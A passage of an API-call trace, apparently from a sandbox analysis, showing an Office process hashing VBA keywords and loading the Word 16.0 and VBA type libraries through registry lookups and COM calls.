returned 0x10675a [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0053.303] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0053.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0053.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0053.306] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0053.306] StringFromGUID2 (in: rguid=0x66753f0*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x126b80, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0053.306] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x126840 | out: phkResult=0x126840*=0xa06) returned 0x0 [0053.306] RegOpenKeyW (in: hKey=0xa06, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0x126838 | out: phkResult=0x126838*=0xa0a) returned 0x0 [0053.306] RegEnumKeyW (in: hKey=0xa0a, dwIndex=0x0, lpName=0x126868, cchName=0xa | out: lpName="8.7") returned 0x0 [0053.306] wcscpy_s (in: _Destination=0x126850, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0053.306] RegOpenKeyW (in: hKey=0xa0a, lpSubKey="8.7", phkResult=0x1268f8 | out: phkResult=0x1268f8*=0xa1e) returned 0x0 [0053.307] _ultoa_s (in: _Val=0x409, _DstBuf=0x126870, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0053.307] RegOpenKeyA (in: hKey=0xa1e, lpSubKey="409", phkResult=0x126860 | out: phkResult=0x126860*=0x0) returned 0x2 [0053.307] _ultoa_s (in: _Val=0x9, _DstBuf=0x126870, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0053.307] RegOpenKeyA (in: hKey=0xa1e, lpSubKey="9", phkResult=0x126860 | out: phkResult=0x126860*=0x0) returned 0x2 [0053.307] RegOpenKeyA (in: hKey=0xa1e, lpSubKey="0", phkResult=0x126860 | out: phkResult=0x126860*=0xa26) returned 0x0 [0053.307] RegOpenKeyW (in: hKey=0xa26, lpSubKey="win64", phkResult=0x126868 | out: phkResult=0x126868*=0xa2e) returned 0x0 [0053.308] RegCloseKey (hKey=0xa2e) returned 0x0 [0053.308] RegCloseKey (hKey=0xa26) returned 0x0 [0053.308] _ultow_s (in: _Value=0x0, _Buffer=0x126900, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.308] RegOpenKeyW (in: hKey=0xa1e, lpSubKey="0", phkResult=0x1268d8 | out: phkResult=0x1268d8*=0xa22) returned 0x0 [0053.308] RegQueryValueW (in: hKey=0xa22, lpSubKey="win64", lpData=0x126920, lpcbData=0x1268d4 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0x1268d4) returned 0x0 [0053.309] wcscpy_s (in: _Destination=0x126c50, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0053.309] RegCloseKey (hKey=0xa22) returned 0x0 [0053.309] RegCloseKey (hKey=0xa1e) returned 0x0 [0053.309] RegCloseKey (hKey=0xa0a) returned 0x0 [0053.309] RegCloseKey (hKey=0xa06) returned 0x0 [0053.309] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0x1268d8*=0x0 | out: pptlib=0x1268d8*=0x677a9f0) returned 0x0 [0053.309] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x1268f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2e399e8 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2e399e8*="\xdc3c\xe479\x7fe") returned 0x0 [0053.309] IUnknown:QueryInterface (in: This=0x677a9f0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1266e8 | out: ppvObject=0x1266e8*=0x0) returned 0x80004002 [0053.309] ITypeLib:RemoteGetLibAttr (in: This=0x677a9f0, ppTLibAttr=0x1266e0, pDummy=0x10 | out: ppTLibAttr=0x1266e0, pDummy=0x10) returned 0x0 [0053.310] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x0, pbstrName=0x1266d8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x67dac60 | out: pbstrName=0x1266d8*="Microsoft Word 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x67dac60*="琀栀 漀甀爀猀⸀") returned 0x0 [0053.310] StringFromGUID2 (in: rguid=0x4233e20*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x126700, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0053.310] _ultow_s (in: _Value=0x8, _Buffer=0x12664a, _BufferCount=0x10, _Radix=16 | out: _Buffer="8") returned 0x0 [0053.310] _ultow_s (in: _Value=0x7, _Buffer=0x12664e, _BufferCount=0xe, _Radix=16 | out: _Buffer="7") returned 0x0 [0053.310] _ultow_s (in: _Value=0x0, _Buffer=0x126652, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.310] wcscpy_s (in: _Destination=0x6925838, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0053.310] wcscpy_s (in: _Destination=0x692583e, _SizeInWords=0x8b, _Source="{00020905-0000-0000-C000-000000000046}" | out: _Destination="{00020905-0000-0000-C000-000000000046}") returned 0x0 [0053.310] wcscpy_s (in: _Destination=0x692588a, _SizeInWords=0x65, _Source="#8.7#0#" | out: _Destination="#8.7#0#") returned 0x0 [0053.310] wcscpy_s (in: _Destination=0x6925898, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0053.310] wcscpy_s (in: _Destination=0x692590e, _SizeInWords=0x23, _Source="Microsoft Word 16.0 Object Library" | out: _Destination="Microsoft Word 16.0 Object Library") returned 0x0 [0053.310] ITypeLib:LocalReleaseTLibAttr (This=0x677a9f0) returned 0x0 [0053.310] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a7fe80, cb=0x1a0) returned 0x6807360 [0053.310] wcscpy_s (in: _Destination=0x6807360, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0053.310] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x1267f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4) returned 0x0 [0053.310] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0053.310] strcpy_s (in: _Dst=0x1265f0, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0053.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1265f0, cbMultiByte=5, lpWideCharStr=0x126440, cchWideChar=5 | out: lpWideCharStr="Word") returned 5 [0053.310] wcsncpy_s (in: _Destination=0x1263f0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0053.310] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0053.310] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0x6923310 [0053.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x6923310, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0053.310] IMalloc:Free (This=0x7feffc15380, pv=0x6923310) [0053.310] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0053.310] wcsncpy_s (in: _Destination=0x1263f0, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.310] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x126320, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.310] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\Z025e132abf") returned 0 [0053.310] IUnknown:AddRef (This=0x677a9f0) returned 0x5 [0053.310] IUnknown:QueryInterface (in: This=0x677a9f0, riid=0x7fee4b385a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126818 | out: ppvObject=0x126818*=0x0) returned 0x80004002 [0053.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x1267e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0053.311] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0053.311] IUnknown:Release (This=0x677a9f0) returned 0x4 [0053.311] IUnknown:AddRef (This=0x677d9c0) returned 0x3 [0053.311] ITypeLib:RemoteGetDocumentation (in: This=0x677d9c0, index=-1, refPtrFlags=0x1268f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.311] IUnknown:QueryInterface (in: This=0x677d9c0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1266e8 | out: ppvObject=0x1266e8*=0x0) returned 0x80004002 [0053.311] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x1266e0, pDummy=0x10 | out: ppTLibAttr=0x1266e0, pDummy=0x10) returned 0x0 [0053.311] ITypeLib:RemoteGetDocumentation (in: This=0x677d9c0, index=-1, refPtrFlags=0x0, pbstrName=0x1266d8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa6eabb166dd1 | out: pbstrName=0x1266d8*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa6eabb166dd1) returned 0x0 [0053.311] StringFromGUID2 (in: rguid=0x4233e20*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x126700, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0053.311] _ultow_s (in: _Value=0x4, _Buffer=0x12664a, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0053.311] _ultow_s (in: _Value=0x2, _Buffer=0x12664e, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0053.311] _ultow_s (in: _Value=0x9, _Buffer=0x126652, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0053.311] wcscpy_s (in: _Destination=0x6925838, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0053.311] wcscpy_s (in: _Destination=0x692583e, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0053.311] wcscpy_s (in: _Destination=0x692588a, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0053.311] wcscpy_s (in: _Destination=0x6925898, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0053.311] wcscpy_s (in: _Destination=0x692591e, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0053.311] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.311] IMalloc:Realloc (This=0x7feffc15380, pv=0x6807360, cb=0x340) returned 0x68ccb40 [0053.311] wcscpy_s (in: _Destination=0x68ccc88, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0053.311] ITypeLib:RemoteGetDocumentation (in: This=0x677d9c0, index=-1, refPtrFlags=0x1267f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0 [0053.311] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0053.311] strcpy_s (in: _Dst=0x1265f0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0053.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1265f0, cbMultiByte=4, lpWideCharStr=0x126440, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0053.311] IUnknown:AddRef (This=0x677a9f0) returned 0x5 [0053.311] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x126510, pBstrLibName=0x126440 | out: pfName=0x126510*=0, pBstrLibName=0x126440) returned 0x0 [0053.311] IUnknown:Release (This=0x677a9f0) returned 0x4 [0053.311] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0x67dac60 [0053.311] IMalloc:Free (This=0x7feffc15380, pv=0x66d4660) [0053.311] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4660 [0053.311] IMalloc:Free (This=0x7feffc15380, pv=0x67dac60) [0053.311] wcsncpy_s (in: _Destination=0x1263f0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0053.312] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0053.312] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0x6923310 [0053.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x6923310, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0053.312] IMalloc:Free (This=0x7feffc15380, pv=0x6923310) [0053.312] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0053.312] wcsncpy_s (in: _Destination=0x1263f0, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.312] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x126320, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.312] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\Z025e132abf") returned 0 [0053.312] IUnknown:AddRef (This=0x677d9c0) returned 0x4 [0053.312] IUnknown:QueryInterface 